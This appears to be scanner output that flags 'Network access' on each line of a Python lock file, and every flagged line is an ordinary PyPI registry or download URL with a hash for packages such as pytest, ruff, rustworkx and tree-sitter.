    { name = "pygments" }, ] sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0
  • Network accessline 133
    ] sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 163
  • Network accessline 134
    sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 16363
  • Network accessline 135
    wheels = [     { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f
  • Network accessline 136
    { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386
  • Network accessline 140
    name = "ruff" version = "0.17.1" source = { registry = "https://pypi.org/simple" }
  • Network accessline 141
    version = "0.17.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/f9/e7/e6d5749983b020e6cb1055abec0a6f361a8e94f0184cdcf56d4760995f02/ruff-0.17.1.tar.gz", hash = "sha256:5bb796c5112
  • Network accessline 142
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 143
    sdist = { url = "https://files.pythonhosted.org/packages/f9/e7/e6d5749983b020e6cb1055abec0a6f361a8e94f0184cdcf56d4760995f02/ruff-0.17.1.tar.gz", hash = "sha256:5bb796c5112e9fb9527f2ef2faa0a130d6312d19de92bcfaddd70dbb2d41020f", size = 532334
  • Network accessline 144
    wheels = [     { url = "https://files.pythonhosted.org/packages/2e/78/90c46ca6250709f7c37e397b60d06061adee8d0f7d13959ed6a8e49b14fd/ruff-0.17.1-py3-none-linux_armv6l.whl", hash = "sha256:1796c41eafec66f4635125dd1e074a7aa27b8d20c187d484360acf
  • Network accessline 145
    { url = "https://files.pythonhosted.org/packages/2e/78/90c46ca6250709f7c37e397b60d06061adee8d0f7d13959ed6a8e49b14fd/ruff-0.17.1-py3-none-linux_armv6l.whl", hash = "sha256:1796c41eafec66f4635125dd1e074a7aa27b8d20c187d484360acf11d247fc4a", si
  • Network accessline 146
    { url = "https://files.pythonhosted.org/packages/aa/d2/a2e28bc35b083ae51fa07dfba5280a667c8b01ecaee7802fc8849dcd5c46/ruff-0.17.1-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:8eadb09a788010be29c895418bdfa513e4e1c65e64b94e5b19e4cd381f6cc7
  • Network accessline 147
    { url = "https://files.pythonhosted.org/packages/8e/71/7a9029a81c8206ee01a98f6cfeeb56e6c095af86857581a37045c46d7e94/ruff-0.17.1-py3-none-macosx_11_0_arm64.whl", hash = "sha256:29b454f18ca3eeaf37fbf140841dcf27d36109e29dee9aae8acecb68c26c6f74
  • Network accessline 148
    { url = "https://files.pythonhosted.org/packages/c0/8c/e075e9c917cb0575297880c96768304e881240171c870cbd8d9b7b54bec2/ruff-0.17.1-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:872e03dd231744d6c5ec5c8af6be52b71323f
  • Network accessline 149
    { url = "https://files.pythonhosted.org/packages/87/27/0b4bb926a49de2383f161272b4d863571a4c7ecdbf595a6bc58813a13367/ruff-0.17.1-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4c0d6cb5f8fbac77eec9af49f4fc0eaf856b055
  • Network accessline 150
    { url = "https://files.pythonhosted.org/packages/14/27/518d57e0e02aecb8ea4acac6b57b51a53173d25fa734952bfdd7d531e88e/ruff-0.17.1-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:78beced4a3c94dfedbee4b999b95b6a27b35820fdc0
  • Network accessline 151
    { url = "https://files.pythonhosted.org/packages/01/82/d89a4e498ade59e6cee52d67f8da569019372212b87468c1fdeae884601c/ruff-0.17.1-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7feefc63921202894f0e158b0e32f45a5950d
  • Network accessline 152
    { url = "https://files.pythonhosted.org/packages/a2/7c/3b0fdef9352656317c977086fe1d802902406e4f2a0d8578da90c0e6d1c5/ruff-0.17.1-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:684154861a819bf1f433669d2a0ce9c3e54677c65
  • Network accessline 153
    { url = "https://files.pythonhosted.org/packages/62/86/5566290219708ce2928f3a29c4f843a1185b341ec6111c4631a33c5ceced/ruff-0.17.1-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a6ef98e51de8ef38082f90653ceeb84944bd767
  • Network accessline 154
    { url = "https://files.pythonhosted.org/packages/ad/d2/ca8462dabb3c413990d49703ba306c30c862195a75448d080fa8fcce9775/ruff-0.17.1-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:8f9aa5b5bd5fa1937803ea609c8f153b8de39bf3e0e149897ae34b0c5b5
  • Network accessline 155
    { url = "https://files.pythonhosted.org/packages/e3/ad/dd1864c1f1db17c8cfb297ce70b352388e6977620f66f7182c52855407df/ruff-0.17.1-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:80e53b0e5faa3c5667f035daaa032893ae42b7cfe708c886d39ed131e546
  • Network accessline 156
    { url = "https://files.pythonhosted.org/packages/65/45/3f56cf1d2168c2165cdd5ac6f9668aee66a4cfdd4caf2b2cc5ccb2b1d568/ruff-0.17.1-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:056c5d5fa0ac790051ae165d7035c7bf956d02de2db557f2e9b31d877a505
  • Network accessline 157
    { url = "https://files.pythonhosted.org/packages/aa/4b/5457cb2be4c1d1ea5e919558131a0f197a4a454a0530d9e30820e8206e4c/ruff-0.17.1-py3-none-musllinux_1_2_i686.whl", hash = "sha256:bd8f5a55b10f371642eacd0e8665a42a8b97da15c9a7187c79e697b77b5e0ce
  • Network accessline 158
    { url = "https://files.pythonhosted.org/packages/49/fb/db15b4f8fa24a1e36b99e1401f42ef6df16ee299a48670d5d262b771e7d7/ruff-0.17.1-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:ce05e6f3973611d9550a600e04bb531061e368baba31610eb57c1509a8f21
  • Network accessline 159
    { url = "https://files.pythonhosted.org/packages/0a/e8/1e186578076aff7a80735f625005fde678412ab609cd323ed182eb7d6b87/ruff-0.17.1-py3-none-win32.whl", hash = "sha256:1de0030a8aa78c65c5fecb84b2e5c390ac684c0452875a02afc7c083d49a496a", size = 98
  • Network accessline 160
    { url = "https://files.pythonhosted.org/packages/6a/2e/da3d9589bae8e8b58f3a48bd5bc0b980232fb14a83bf02c3be7660f87c1b/ruff-0.17.1-py3-none-win_amd64.whl", hash = "sha256:5df76f16580fab58d0f6c98a3ac254a4abceb7b2489b8b678335869cff77b3d7", size 
  • Network accessline 161
    { url = "https://files.pythonhosted.org/packages/df/c9/0f2a4dea06a5e12c1191ee3d96b1e1233797d0d5e18f97a2b909a95a9836/ruff-0.17.1-py3-none-win_arm64.whl", hash = "sha256:42400b9a6ff8515ff27796f07f92e0195be011c86e81e381606f58ea5502fef4", size 
  • Network accessline 165
    name = "rustworkx" version = "0.18.1" source = { registry = "https://pypi.org/simple" }
  • Network accessline 166
    version = "0.18.1" source = { registry = "https://pypi.org/simple" } dependencies = [
  • Network accessline 167
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 169
    { name = "numpy" }, ] sdist = { url = "https://files.pythonhosted.org/packages/86/0d/5b6b48005bbc19622ea7f295f2d5f1339474cb7893e57fd30e6553b2b534/rustworkx-0.18.1.tar.gz", hash = "sha256:30affe6ee52a6257a01152418f9c1686ca114e7ab4a3bf87bb87f
  • Network accessline 170
    ] sdist = { url = "https://files.pythonhosted.org/packages/86/0d/5b6b48005bbc19622ea7f295f2d5f1339474cb7893e57fd30e6553b2b534/rustworkx-0.18.1.tar.gz", hash = "sha256:30affe6ee52a6257a01152418f9c1686ca114e7ab4a3bf87bb87fe35b7350f3e", size =
  • Network accessline 171
    sdist = { url = "https://files.pythonhosted.org/packages/86/0d/5b6b48005bbc19622ea7f295f2d5f1339474cb7893e57fd30e6553b2b534/rustworkx-0.18.1.tar.gz", hash = "sha256:30affe6ee52a6257a01152418f9c1686ca114e7ab4a3bf87bb87fe35b7350f3e", size = 8
  • Network accessline 172
    wheels = [     { url = "https://files.pythonhosted.org/packages/8d/1d/df08af787e15d10479e9c69278933904e5dfa716e9793bce6e48c4ef8fb1/rustworkx-0.18.1-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c622843757ce6afd950b6f3c45b79f0078fb8d9a
  • Network accessline 173
    { url = "https://files.pythonhosted.org/packages/8d/1d/df08af787e15d10479e9c69278933904e5dfa716e9793bce6e48c4ef8fb1/rustworkx-0.18.1-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:c622843757ce6afd950b6f3c45b79f0078fb8d9a66f6783b5963594
  • Network accessline 174
    { url = "https://files.pythonhosted.org/packages/54/e6/08c5d1e21d3f97f172210f409fa6de12684de1b36952ec7c1f4545cfb5af/rustworkx-0.18.1-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:77103c119e71d816c04bcc60443184cae9550c1d49e5c28a046850252
  • Network accessline 175
    { url = "https://files.pythonhosted.org/packages/a2/ec/80ffcc38ffd28798a31563485a7c35d7d7ccebad83d388717442731e7477/rustworkx-0.18.1-cp310-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1ebd2441a51c68a784df8c62dc2e6f1a
  • Network accessline 176
    { url = "https://files.pythonhosted.org/packages/86/6c/e1483aea43fd8be81666cb103aea0f6127f71731de666c156e6b6f8c2338/rustworkx-0.18.1-cp310-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:c42a0a52463ff78c0dd03426efa7b40b17b433689c2a5ab6aaaf
  • Network accessline 177
    { url = "https://files.pythonhosted.org/packages/04/46/b6df0cddd2e22ce7b0baf24c0e5a123df6dd29d007df601ebe7b25928088/rustworkx-0.18.1-cp310-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:ba997e8c22564bf17b110514fba530bfd0ee2868506c3e8e4b4b
  • Network accessline 178
    { url = "https://files.pythonhosted.org/packages/08/ad/6e53d1db486697bb971a2d0623b1a67903825fb9e5a44ec993f04b8678c5/rustworkx-0.18.1-cp310-abi3-manylinux_2_28_s390x.whl", hash = "sha256:48d42983e62412e3ffc1e58c2ec55222ec82fc0e4c6dac576ee203
  • Network accessline 179
    { url = "https://files.pythonhosted.org/packages/c5/80/f83b4469f4c2756c06741f7fd28209821827bee9e55217acdea63bbd71df/rustworkx-0.18.1-cp310-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:5ebcdd8c55d91583c94aa62ef332de3a724b69a57ae2b5c9fcf70
  • Network accessline 180
    { url = "https://files.pythonhosted.org/packages/b4/c3/b24190513dee8bf5e26ac9ef2303e8cc0a27f33581dc7f0321a2ed5eb63e/rustworkx-0.18.1-cp310-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:212d0a4b5ccec8cc8c3879dd1fd13b1e61894c708185f12eb63ae5
  • Network accessline 181
    { url = "https://files.pythonhosted.org/packages/52/33/e8468d7dfb059aaaef3294099e1ff945c0f7bf8b7b11ad6d807ee0a171df/rustworkx-0.18.1-cp310-abi3-pyemscripten_2026_0_wasm32.whl", hash = "sha256:67dcdfcc3dfc8262f7627d2b3ae85ac74de1b1dcababf637
  • Network accessline 182
    { url = "https://files.pythonhosted.org/packages/4a/00/d75ef40fc92267571b4547b0d04d8cb8c1583cfa2e437ee2d25df3dc8aff/rustworkx-0.18.1-cp310-abi3-win32.whl", hash = "sha256:f8ad39453d65c85111ba887377899d568ded6ecfb5384f3182483a23426b8f58", si
  • Network accessline 183
    { url = "https://files.pythonhosted.org/packages/3b/fc/c0961292208d5dda29eb8149ee395ac92fbfdff2649c5d8d2dd68f7a11a5/rustworkx-0.18.1-cp310-abi3-win_amd64.whl", hash = "sha256:91feb30971df6ac53d51503970e4aac67e4d9bc7834535f2b7cd3674645003ac"
  • Network accessline 184
    { url = "https://files.pythonhosted.org/packages/a7/9f/99731c2932f7a8942e414630e4a24c1bda2242abc31b3c0df287a97e0a73/rustworkx-0.18.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:685d4f69da6ecfd35110f4d7933c6fa392fb25c98f369b2403275
  • Network accessline 185
    { url = "https://files.pythonhosted.org/packages/55/59/4977b72b142673f24bb97a30370ad0b8b806f2a4341587284b852ae205b7/rustworkx-0.18.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:63784612ccefb866ab1e07c48060a3f7ff5309629a263db6ba4a0d9
  • Network accessline 186
    { url = "https://files.pythonhosted.org/packages/ce/fd/32be334e665fa9e52a5ad89ad485e925dbd2b43ee60caa79322eff16ca37/rustworkx-0.18.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8c771009dee311e207772ee1727788
  • Network accessline 187
    { url = "https://files.pythonhosted.org/packages/c8/c5/a911ca9918d0c47751bad7543df6881dbc697619641a1eed657ac70bbf7f/rustworkx-0.18.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:ebd6f2e28940eb983f254f7fe92b474651ac149e1bedfdaa42
  • Network accessline 188
    { url = "https://files.pythonhosted.org/packages/82/ed/e6dd81cb4e26c14824dba74629537f36b77e3ae6303775897e6e27a7fbf6/rustworkx-0.18.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:80a397a164003d9ff91c11357f9c34120c39bc33a62d095dce
  • Network accessline 189
    { url = "https://files.pythonhosted.org/packages/64/00/ebf78ee0fadb982aec66f8f85801725228a12a15c39577b39cc1ed45c221/rustworkx-0.18.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b23264fcd2feb254ce5a1bea641cad9f97e06202c5c0904d5fc
  • Network accessline 190
    { url = "https://files.pythonhosted.org/packages/37/0b/05bd31d19d0d74658f30c5bd584906c741a2e4d1fb8f5c08a0168c042553/rustworkx-0.18.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:aedc1b30330927810588b3dcf5e3032c5379cd19580fd01ec8e1
  • Network accessline 194
    name = "trailmark" version = "0.6.0" source = { registry = "https://pypi.org/simple" }
  • Network accessline 195
    version = "0.6.0" source = { registry = "https://pypi.org/simple" } dependencies = [
  • Network accessline 196
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 201
    { name = "tree-sitter-sql" }, ] sdist = { url = "https://files.pythonhosted.org/packages/0d/f8/3ce875af54c506e3b9564d254a446958774179ebd1e8222e4f4f46bfdd62/trailmark-0.6.0.tar.gz", hash = "sha256:d5298394fd2193e4e05d191b46413c463b8a7379c7be
  • Network accessline 202
    ] sdist = { url = "https://files.pythonhosted.org/packages/0d/f8/3ce875af54c506e3b9564d254a446958774179ebd1e8222e4f4f46bfdd62/trailmark-0.6.0.tar.gz", hash = "sha256:d5298394fd2193e4e05d191b46413c463b8a7379c7bec209824666f555e96c37", size = 
  • Network accessline 203
    sdist = { url = "https://files.pythonhosted.org/packages/0d/f8/3ce875af54c506e3b9564d254a446958774179ebd1e8222e4f4f46bfdd62/trailmark-0.6.0.tar.gz", hash = "sha256:d5298394fd2193e4e05d191b46413c463b8a7379c7bec209824666f555e96c37", size = 14
  • Network accessline 204
    wheels = [     { url = "https://files.pythonhosted.org/packages/f5/b6/32231a1936e74d54bbb31a09809d1ac72afae0aa276953ff8fc9e5190c12/trailmark-0.6.0-py3-none-any.whl", hash = "sha256:6f26cad4edc0826a71c0ab1d2f09348ad21b2d809028310b9db95ec3c5b
  • Network accessline 205
    { url = "https://files.pythonhosted.org/packages/f5/b6/32231a1936e74d54bbb31a09809d1ac72afae0aa276953ff8fc9e5190c12/trailmark-0.6.0-py3-none-any.whl", hash = "sha256:6f26cad4edc0826a71c0ab1d2f09348ad21b2d809028310b9db95ec3c5befdd4", size = 
  • Network accessline 232
    name = "tree-sitter" version = "0.25.2" source = { registry = "https://pypi.org/simple" }
  • Network accessline 233
    version = "0.25.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/66/7c/0350cfc47faadc0d3cf7d8237a4e34032b3014ddf4a12ded9933e1648b55/tree-sitter-0.25.2.tar.gz", hash = "sha256:fe43
  • Network accessline 234
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 235
    sdist = { url = "https://files.pythonhosted.org/packages/66/7c/0350cfc47faadc0d3cf7d8237a4e34032b3014ddf4a12ded9933e1648b55/tree-sitter-0.25.2.tar.gz", hash = "sha256:fe43c158555da46723b28b52e058ad444195afd1db3ca7720c59a254544e9c20", size =
  • Network accessline 236
    wheels = [     { url = "https://files.pythonhosted.org/packages/3c/9e/20c2a00a862f1c2897a436b17edb774e831b22218083b459d0d081c9db33/tree_sitter-0.25.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ddabfff809ffc983fc9963455ba1cecc90295
  • Network accessline 237
    { url = "https://files.pythonhosted.org/packages/3c/9e/20c2a00a862f1c2897a436b17edb774e831b22218083b459d0d081c9db33/tree_sitter-0.25.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ddabfff809ffc983fc9963455ba1cecc90295803e06e140a4c83
  • Network accessline 238
    { url = "https://files.pythonhosted.org/packages/ef/04/8512e2062e652a1016e840ce36ba1cc33258b0dcc4e500d8089b4054afec/tree_sitter-0.25.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:c0c0ab5f94938a23fe81928a21cc0fac44143133ccc4eb7eeb1b92
  • Network accessline 239
    { url = "https://files.pythonhosted.org/packages/47/8a/d48c0414db19307b0fb3bb10d76a3a0cbe275bb293f145ee7fba2abd668e/tree_sitter-0.25.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dd12
  • Network accessline 240
    { url = "https://files.pythonhosted.org/packages/39/d1/b95f545e9fc5001b8a78636ef942a4e4e536580caa6a99e73dd0a02e87aa/tree_sitter-0.25.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b43a9e4
  • Network accessline 241
    { url = "https://files.pythonhosted.org/packages/de/4d/b734bde3fb6f3513a010fa91f1f2875442cdc0382d6a949005cd84563d8f/tree_sitter-0.25.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fbb1706407c0e451c4f8cc016fec27d72d4b211fdd3173320b1
  • Network accessline 242
    { url = "https://files.pythonhosted.org/packages/46/f2/5f654994f36d10c64d50a192239599fcae46677491c8dd53e7579c35a3e3/tree_sitter-0.25.2-cp312-cp312-win_amd64.whl", hash = "sha256:6d0302550bbe4620a5dc7649517c4409d74ef18558276ce758419cf09e5788
  • Network accessline 243
    { url = "https://files.pythonhosted.org/packages/67/23/148c468d410efcf0a9535272d81c258d840c27b34781d625f1f627e2e27d/tree_sitter-0.25.2-cp312-cp312-win_arm64.whl", hash = "sha256:0c8b6682cac77e37cfe5cf7ec388844957f48b7bd8d6321d0ca2d852994e10
  • Network accessline 244
    { url = "https://files.pythonhosted.org/packages/8c/67/67492014ce32729b63d7ef318a19f9cfedd855d677de5773476caf771e96/tree_sitter-0.25.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0628671f0de69bb279558ef6b640bcfc97864fe0026d840f8727
  • Network accessline 245
    { url = "https://files.pythonhosted.org/packages/4e/9c/a278b15e6b263e86c5e301c82a60923fa7c59d44f78d7a110a89a413e640/tree_sitter-0.25.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f5ddcd3e291a749b62521f71fc953f66f5fd9743973fd6dd962b09
  • Network accessline 246
    { url = "https://files.pythonhosted.org/packages/54/9a/423bba15d2bf6473ba67846ba5244b988cd97a4b1ea2b146822162256794/tree_sitter-0.25.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bd88
  • Network accessline 247
    { url = "https://files.pythonhosted.org/packages/ed/4c/b430d2cb43f8badfb3a3fa9d6cd7c8247698187b5674008c9d67b2a90c8e/tree_sitter-0.25.2-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b878e29
  • Network accessline 248
    { url = "https://files.pythonhosted.org/packages/9d/27/5f97098dbba807331d666a0997662e82d066e84b17d92efab575d283822f/tree_sitter-0.25.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d77605e0d353ba3fe5627e5490f0fbfe44141bafa4478d88ef7
  • Network accessline 249
    { url = "https://files.pythonhosted.org/packages/d4/3c/87caaed663fabc35e18dc704cd0e9800a0ee2f22bd18b9cbe7c10799895d/tree_sitter-0.25.2-cp313-cp313-win_amd64.whl", hash = "sha256:463c032bd02052d934daa5f45d183e0521ceb783c2548501cf034b0beba92c
  • Network accessline 250
    { url = "https://files.pythonhosted.org/packages/d5/23/f8467b408b7988aff4ea40946a4bd1a2c1a73d17156a9d039bbaff1e2ceb/tree_sitter-0.25.2-cp313-cp313-win_arm64.whl", hash = "sha256:b3f63a1796886249bd22c559a5944d64d05d43f2be72961624278eff0dcc5c
  • Network accessline 251
    { url = "https://files.pythonhosted.org/packages/07/e3/d9526ba71dfbbe4eba5e51d89432b4b333a49a1e70712aa5590cd22fc74f/tree_sitter-0.25.2-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:65d3c931013ea798b502782acab986bbf47ba2c452610ab0776c
  • Network accessline 252
    { url = "https://files.pythonhosted.org/packages/42/97/4bd4ad97f85a23011dd8a535534bb1035c4e0bac1234d58f438e15cff51f/tree_sitter-0.25.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:bda059af9d621918efb813b22fb06b3fe00c3e94079c6143fcb2c5
  • Network accessline 253
    { url = "https://files.pythonhosted.org/packages/b6/19/1e968aa0b1b567988ed522f836498a6a9529a74aab15f09dd9ac1e41f505/tree_sitter-0.25.2-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eac4
  • Network accessline 254
    { url = "https://files.pythonhosted.org/packages/48/b6/cf08f4f20f4c9094006ef8828555484e842fc468827ad6e56011ab668dbd/tree_sitter-0.25.2-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2605863
  • Network accessline 255
    { url = "https://files.pythonhosted.org/packages/57/e2/d42d55bf56360987c32bc7b16adb06744e425670b823fb8a5786a1cea991/tree_sitter-0.25.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7d2ee1acbacebe50ba0f85fff1bc05e65d877958f00880f49f9
  • Network accessline 256
    { url = "https://files.pythonhosted.org/packages/03/87/af9604ebe275a9345d88c3ace0cf2a1341aa3f8ef49dd9fc11662132df8a/tree_sitter-0.25.2-cp314-cp314-win_amd64.whl", hash = "sha256:4973b718fcadfb04e59e746abfbb0288694159c6aeecd2add59320c03368c7
  • Network accessline 257
    { url = "https://files.pythonhosted.org/packages/a6/6e/e64621037357acb83d912276ffd30a859ef117f9c680f2e3cb955f47c680/tree_sitter-0.25.2-cp314-cp314-win_arm64.whl", hash = "sha256:b8d4429954a3beb3e844e2872610d2a4800ba4eb42bb1990c6a4b1949b1845
  • Network accessline 261
    name = "tree-sitter-language-pack" version = "1.22.1" source = { registry = "https://pypi.org/simple" }
  • Network accessline 262
    version = "1.22.1" source = { registry = "https://pypi.org/simple" } dependencies = [
  • Network accessline 263
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 265
    { name = "tree-sitter" }, ] sdist = { url = "https://files.pythonhosted.org/packages/b7/e0/ac9bb5f5241b8c406da03ff30a457f385fabd489d06e77ef81378d34bc4e/tree_sitter_language_pack-1.22.1.tar.gz", hash = "sha256:e0cba16312890fc7747da5fb5edb7aa
  • Network accessline 266
    ] sdist = { url = "https://files.pythonhosted.org/packages/b7/e0/ac9bb5f5241b8c406da03ff30a457f385fabd489d06e77ef81378d34bc4e/tree_sitter_language_pack-1.22.1.tar.gz", hash = "sha256:e0cba16312890fc7747da5fb5edb7aabfc68aac7db0ebab5212986a67
  • Network accessline 267
    sdist = { url = "https://files.pythonhosted.org/packages/b7/e0/ac9bb5f5241b8c406da03ff30a457f385fabd489d06e77ef81378d34bc4e/tree_sitter_language_pack-1.22.1.tar.gz", hash = "sha256:e0cba16312890fc7747da5fb5edb7aabfc68aac7db0ebab5212986a67cd
  • Network accessline 268
    wheels = [     { url = "https://files.pythonhosted.org/packages/3f/04/97b69d8ce812bd17cb8180f837bcd17a8ae61362fd1e6f61cf526027f0e1/tree_sitter_language_pack-1.22.1-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:d34a528bdd845d024c42da3f
  • Network accessline 269
    { url = "https://files.pythonhosted.org/packages/3f/04/97b69d8ce812bd17cb8180f837bcd17a8ae61362fd1e6f61cf526027f0e1/tree_sitter_language_pack-1.22.1-cp310-abi3-macosx_10_12_x86_64.whl", hash = "sha256:d34a528bdd845d024c42da3fa43495c5d51c661
  • Network accessline 270
    { url = "https://files.pythonhosted.org/packages/4d/5b/5157fef42981eac1e315ab9cfd2e1e7189d53677b68405d171a620b7a52a/tree_sitter_language_pack-1.22.1-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:b85116c8a8d7bbdca2e1be8068d6c3d4f0ac66e95
  • Network accessline 271
    { url = "https://files.pythonhosted.org/packages/1a/3c/de8422cd16bbf8aad4da68b5182ad985c8f32c5573d9fa8aa7c527cdce34/tree_sitter_language_pack-1.22.1-cp310-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:852a0129463a94f898dda2aa9616fb19e598
  • Network accessline 272
    { url = "https://files.pythonhosted.org/packages/6b/e1/30683d0d99c9cb7ae0fc23d6c6e8fb0bf9a1ac520fc8fd7cb9d12fe0cd46/tree_sitter_language_pack-1.22.1-cp310-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:8a476b71c2f6c71f23b0b63f5ff6f72a8ba2c
  • Network accessline 273
    { url = "https://files.pythonhosted.org/packages/92/d0/9ebe21280bbe31fe0d7a2885837c616304eabf05fe5f74dfa973b54eccc6/tree_sitter_language_pack-1.22.1-cp310-abi3-win_amd64.whl", hash = "sha256:624d90afb8b210584bdcb871935385035872eeb12b26e41f4
  • Network accessline 274
    { url = "https://files.pythonhosted.org/packages/80/76/8bcee4c731ef0e6e610491b3614a45e63aa9550d99e951d9a14fa314da57/tree_sitter_language_pack-1.22.1-cp310-abi3-win_arm64.whl", hash = "sha256:34e4e7a77d02d102abf95c7b088962fcd56825bd48eabbe80
  • Network accessline 278
    name = "tree-sitter-sql" version = "0.3.11" source = { registry = "https://pypi.org/simple" }
  • Network accessline 279
    version = "0.3.11" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/e8/5c/3d10387f779f36835486167253682f61d5f4fd8336b7001da1ac7d78f31c/tree_sitter_sql-0.3.11.tar.gz", hash = "sha256:
  • Network accessline 280
    source = { registry = "https://pypi.org/simple" }
  • Network accessline 281
    sdist = { url = "https://files.pythonhosted.org/packages/e8/5c/3d10387f779f36835486167253682f61d5f4fd8336b7001da1ac7d78f31c/tree_sitter_sql-0.3.11.tar.gz", hash = "sha256:700b93be2174c3c83d174ec3e10b682f72a4fb451f0076c7ce5012f1d5a76cbc", si
  • Network accessline 282
    wheels = [     { url = "https://files.pythonhosted.org/packages/32/68/bb80073915dfe1b38935451bc0d65528666c126b2d5878e7140ef9bf9f8a/tree_sitter_sql-0.3.11-cp310-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cf1b0c401756940bf47544ad7c4cc97373f
  • Network accessline 283
    { url = "https://files.pythonhosted.org/packages/32/68/bb80073915dfe1b38935451bc0d65528666c126b2d5878e7140ef9bf9f8a/tree_sitter_sql-0.3.11-cp310-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cf1b0c401756940bf47544ad7c4cc97373fc0dac118f821820
  • Network accessline 284
    { url = "https://files.pythonhosted.org/packages/05/45/b2bd5f9919ea15c4ae90a156999101ebd4caa4036babe54efaf9d3e77d55/tree_sitter_sql-0.3.11-cp310-abi3-macosx_11_0_arm64.whl", hash = "sha256:a33cd6880ab2debef036f80365c32becb740ec7994680559848
  • Network accessline 285
    { url = "https://files.pythonhosted.org/packages/8e/96/7cee5661aa897e5d1a67499944ea5cf8a148953c1dc07a3059a50db8cb56/tree_sitter_sql-0.3.11-cp310-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3
  • Network accessline 286
    { url = "https://files.pythonhosted.org/packages/1d/c1/eec7c09a9c94436ea4c56d096feba815e42b209b3d41a17532f99ecf0c67/tree_sitter_sql-0.3.11-cp310-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5128
  • Network accessline 287
